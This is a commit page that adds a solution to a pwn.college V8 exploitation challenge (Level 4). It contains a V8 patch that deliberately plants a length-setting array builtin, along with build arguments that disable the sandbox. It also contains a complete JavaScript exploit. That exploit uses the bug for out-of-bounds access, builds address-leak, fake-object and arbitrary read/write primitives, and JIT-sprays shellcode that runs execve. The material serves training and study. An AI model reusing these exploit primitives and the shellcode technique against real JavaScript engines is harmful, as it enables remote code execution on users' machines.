Moved JavaScript/PwnCollegeV8Exploitation/ to PwnCollege/V8Exploitation/
This commit is contained in:
118
PwnCollege/V8Exploitation/Level4/Exploit.js
Normal file
118
PwnCollege/V8Exploitation/Level4/Exploit.js
Normal file
@@ -0,0 +1,118 @@
|
||||
// Integrated Builtin:
|
||||
// - Array.prototype.setLength(length)
|
||||
|
||||
let ab = new ArrayBuffer(8);
|
||||
let f64a = new Float64Array(ab, 0, 1);
|
||||
let i32a = new Uint32Array(ab, 0, 2);
|
||||
let si32a = new Int32Array(ab, 0, 2);
|
||||
let bi64a = new BigUint64Array(ab, 0, 1);
|
||||
|
||||
function c2f(low, high) { // combined (two 4 bytes) word to float
|
||||
i32a[0] = low;
|
||||
i32a[1] = high;
|
||||
return f64a[0];
|
||||
}
|
||||
|
||||
function b2f(v) { // bigint to float
|
||||
bi64a[0] = v;
|
||||
return f64a[0];
|
||||
}
|
||||
|
||||
function f2b(v) { // float to bigint
|
||||
f64a[0] = v;
|
||||
return bi64a[0];
|
||||
}
|
||||
|
||||
function unptr(v) {
|
||||
return v & 0xfffffffe;
|
||||
}
|
||||
|
||||
function ptr(v) {
|
||||
return v | 1;
|
||||
}
|
||||
|
||||
function shellcode() { // Promote to ensure not GC during training
|
||||
// JIT spray machine code form of `execve("catflag", NULL, NULL)`
|
||||
return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61];
|
||||
}
|
||||
for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation
|
||||
|
||||
let placeholder = {};
|
||||
let corrupt_arr = [2.30234590962020889586281057477E-320];
|
||||
let double_arr = [1.09366371363418335018925267989E-319];
|
||||
let obj_arr = [placeholder];
|
||||
corrupt_arr.setLength(128);
|
||||
|
||||
// %DebugPrint(corrupt_arr);
|
||||
// %DebugPrint(double_arr);
|
||||
// %DebugPrint(obj_arr);
|
||||
// %SystemBreak();
|
||||
|
||||
const corrupt_arr_0_to_obj_arr_0_offset = 13;
|
||||
const corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD = 1;
|
||||
|
||||
function GetAddressOf(obj) {
|
||||
obj_arr[0] = obj;
|
||||
f64a[0] = corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset];
|
||||
return unptr(i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD]);
|
||||
}
|
||||
|
||||
function GetFakeObject(addr) {
|
||||
f64a[0] = corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset];
|
||||
let old_obj_addr = i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD];
|
||||
i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD] = ptr(addr);
|
||||
corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset] = f64a[0];
|
||||
let faked_obj = obj_arr[0];
|
||||
i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD] = old_obj_addr;
|
||||
corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset] = f64a[0];
|
||||
return faked_obj;
|
||||
}
|
||||
|
||||
const corrupt_arr_0_to_double_arr_element_offset = 4;
|
||||
|
||||
// QWORD Aligned
|
||||
function ArbRead64(cage_addr) { // int32
|
||||
if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
|
||||
corrupt_arr[corrupt_arr_0_to_double_arr_element_offset] = c2f(ptr(cage_addr - 0x8), 0x00000002);
|
||||
let result = f2b(double_arr[0]);
|
||||
console.log(`ArbRead64 ${cage_addr.toString(16)}: ${result.toString(16)}`);
|
||||
return result;
|
||||
}
|
||||
|
||||
// QWORD Aligned
|
||||
function ArbWrite64(cage_addr, value) { // int32, bigint
|
||||
if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
|
||||
corrupt_arr[corrupt_arr_0_to_double_arr_element_offset] = c2f(ptr(cage_addr - 0x8), 0x00000002);
|
||||
let written = b2f(value);
|
||||
double_arr[0] = written;
|
||||
console.log(`ArbWrite64 ${cage_addr.toString(16)}: ${value.toString(16)}`);
|
||||
}
|
||||
|
||||
// DWORD Aligned
|
||||
function ArbRead32(cage_addr) { // int32 -> int32
|
||||
if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
|
||||
bi64a[0] = ArbRead64(cage_addr & 0xfffffff8);
|
||||
let result = i32a[(cage_addr & 0x4) >> 2];
|
||||
console.log(`ArbRead32 ${cage_addr.toString(16)}: ${result.toString(16)}`);
|
||||
return result;
|
||||
}
|
||||
|
||||
// DWORD Aligned
|
||||
function ArbWrite32(cage_addr, value) { // int32, int32 -> void
|
||||
if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
|
||||
let QWORD_Aligned_cage_addr = cage_addr & 0xfffffff8;
|
||||
bi64a[0] = ArbRead64(QWORD_Aligned_cage_addr);
|
||||
i32a[(cage_addr & 0x4) >> 2] = value;
|
||||
ArbWrite64(QWORD_Aligned_cage_addr, bi64a[0]);
|
||||
console.log(`ArbWrite32 ${cage_addr.toString(16)}: ${value.toString(16)}`);
|
||||
}
|
||||
|
||||
let shellcode_addr = GetAddressOf(shellcode);
|
||||
console.log("Address of shellcode: " + shellcode_addr.toString(16));
|
||||
let code_addr = unptr(ArbRead32(shellcode_addr + 0xC));
|
||||
console.log("Address of code: " + code_addr.toString(16));
|
||||
let instruction_start_addr = code_addr + 0x14;
|
||||
let instruction_start = ArbRead32(instruction_start_addr);
|
||||
console.log("instruction_start: " + instruction_start.toString(16));
|
||||
ArbWrite32(instruction_start_addr, instruction_start + 0x6B);
|
||||
shellcode();
|
||||
10
PwnCollege/V8Exploitation/Level4/README.md
Normal file
10
PwnCollege/V8Exploitation/Level4/README.md
Normal file
@@ -0,0 +1,10 @@
|
||||
# Level 4
|
||||
|
||||
## Problem
|
||||
|
||||
Given a vulnerability which can set an array's length by using `Array.prototype.setLength()`.
|
||||
|
||||
## Key Knowledge
|
||||
|
||||
- Heap Fengshui
|
||||
- OOB Access other heap content by corrupting array's length
|
||||
1
PwnCollege/V8Exploitation/Level4/REVISION
Normal file
1
PwnCollege/V8Exploitation/Level4/REVISION
Normal file
@@ -0,0 +1 @@
|
||||
5a2307d0f2c5b650c6858e2b9b57b335a59946ff
|
||||
10
PwnCollege/V8Exploitation/Level4/args.gn
Normal file
10
PwnCollege/V8Exploitation/Level4/args.gn
Normal file
@@ -0,0 +1,10 @@
|
||||
is_component_build = false
|
||||
is_debug = false
|
||||
target_cpu = "x64"
|
||||
v8_enable_sandbox = false
|
||||
v8_enable_backtrace = true
|
||||
v8_enable_disassembler = true
|
||||
v8_enable_object_print = true
|
||||
dcheck_always_on = false
|
||||
use_goma = false
|
||||
v8_code_pointer_sandboxing = false
|
||||
83
PwnCollege/V8Exploitation/Level4/patch
Normal file
83
PwnCollege/V8Exploitation/Level4/patch
Normal file
@@ -0,0 +1,83 @@
|
||||
diff --git a/BUILD.gn b/BUILD.gn
|
||||
index c0192593c4a..83e264723f7 100644
|
||||
--- a/BUILD.gn
|
||||
+++ b/BUILD.gn
|
||||
@@ -1889,6 +1889,7 @@ if (v8_postmortem_support) {
|
||||
}
|
||||
|
||||
torque_files = [
|
||||
+ "src/builtins/array-setlength.tq",
|
||||
"src/builtins/aggregate-error.tq",
|
||||
"src/builtins/array-at.tq",
|
||||
"src/builtins/array-concat.tq",
|
||||
diff --git a/src/builtins/array-setlength.tq b/src/builtins/array-setlength.tq
|
||||
new file mode 100644
|
||||
index 00000000000..4a2a864af44
|
||||
--- /dev/null
|
||||
+++ b/src/builtins/array-setlength.tq
|
||||
@@ -0,0 +1,14 @@
|
||||
+namespace array {
|
||||
+transitioning javascript builtin
|
||||
+ArrayPrototypeSetLength(
|
||||
+ js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {
|
||||
+ try {
|
||||
+ const len: Smi = Cast<Smi>(length) otherwise ErrorLabel;
|
||||
+ const array: JSArray = Cast<JSArray>(receiver) otherwise ErrorLabel;
|
||||
+ array.length = len;
|
||||
+ } label ErrorLabel {
|
||||
+ Print("Nope");
|
||||
+ }
|
||||
+ return receiver;
|
||||
+}
|
||||
+}
|
||||
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
|
||||
index facf0d86d79..382c015bc48 100644
|
||||
--- a/src/d8/d8.cc
|
||||
+++ b/src/d8/d8.cc
|
||||
@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
|
||||
|
||||
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
|
||||
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
|
||||
- global_template->Set(Symbol::GetToStringTag(isolate),
|
||||
+/* global_template->Set(Symbol::GetToStringTag(isolate),
|
||||
String::NewFromUtf8Literal(isolate, "global"));
|
||||
global_template->Set(isolate, "version",
|
||||
FunctionTemplate::New(isolate, Version));
|
||||
@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
|
||||
global_template->Set(isolate, "readline",
|
||||
FunctionTemplate::New(isolate, ReadLine));
|
||||
global_template->Set(isolate, "load",
|
||||
- FunctionTemplate::New(isolate, ExecuteFile));
|
||||
+ FunctionTemplate::New(isolate, ExecuteFile));*/
|
||||
global_template->Set(isolate, "setTimeout",
|
||||
FunctionTemplate::New(isolate, SetTimeout));
|
||||
// Some Emscripten-generated code tries to call 'quit', which in turn would
|
||||
// call C's exit(). This would lead to memory leaks, because there is no way
|
||||
// we can terminate cleanly then, so we need a way to hide 'quit'.
|
||||
- if (!options.omit_quit) {
|
||||
+/* if (!options.omit_quit) {
|
||||
global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
|
||||
}
|
||||
global_template->Set(isolate, "testRunner",
|
||||
@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
|
||||
if (i::v8_flags.expose_async_hooks) {
|
||||
global_template->Set(isolate, "async_hooks",
|
||||
Shell::CreateAsyncHookTemplate(isolate));
|
||||
- }
|
||||
+ }*/
|
||||
|
||||
return global_template;
|
||||
}
|
||||
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
|
||||
index 48249695b7b..f3379ac47ec 100644
|
||||
--- a/src/init/bootstrapper.cc
|
||||
+++ b/src/init/bootstrapper.cc
|
||||
@@ -2531,6 +2531,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
|
||||
JSObject::AddProperty(isolate_, proto, factory->constructor_string(),
|
||||
array_function, DONT_ENUM);
|
||||
|
||||
+ SimpleInstallFunction(isolate_, proto, "setLength",
|
||||
+ Builtin::kArrayPrototypeSetLength, 1, true);
|
||||
SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
|
||||
true);
|
||||
SimpleInstallFunction(isolate_, proto, "concat",
|
||||
Reference in New Issue
Block a user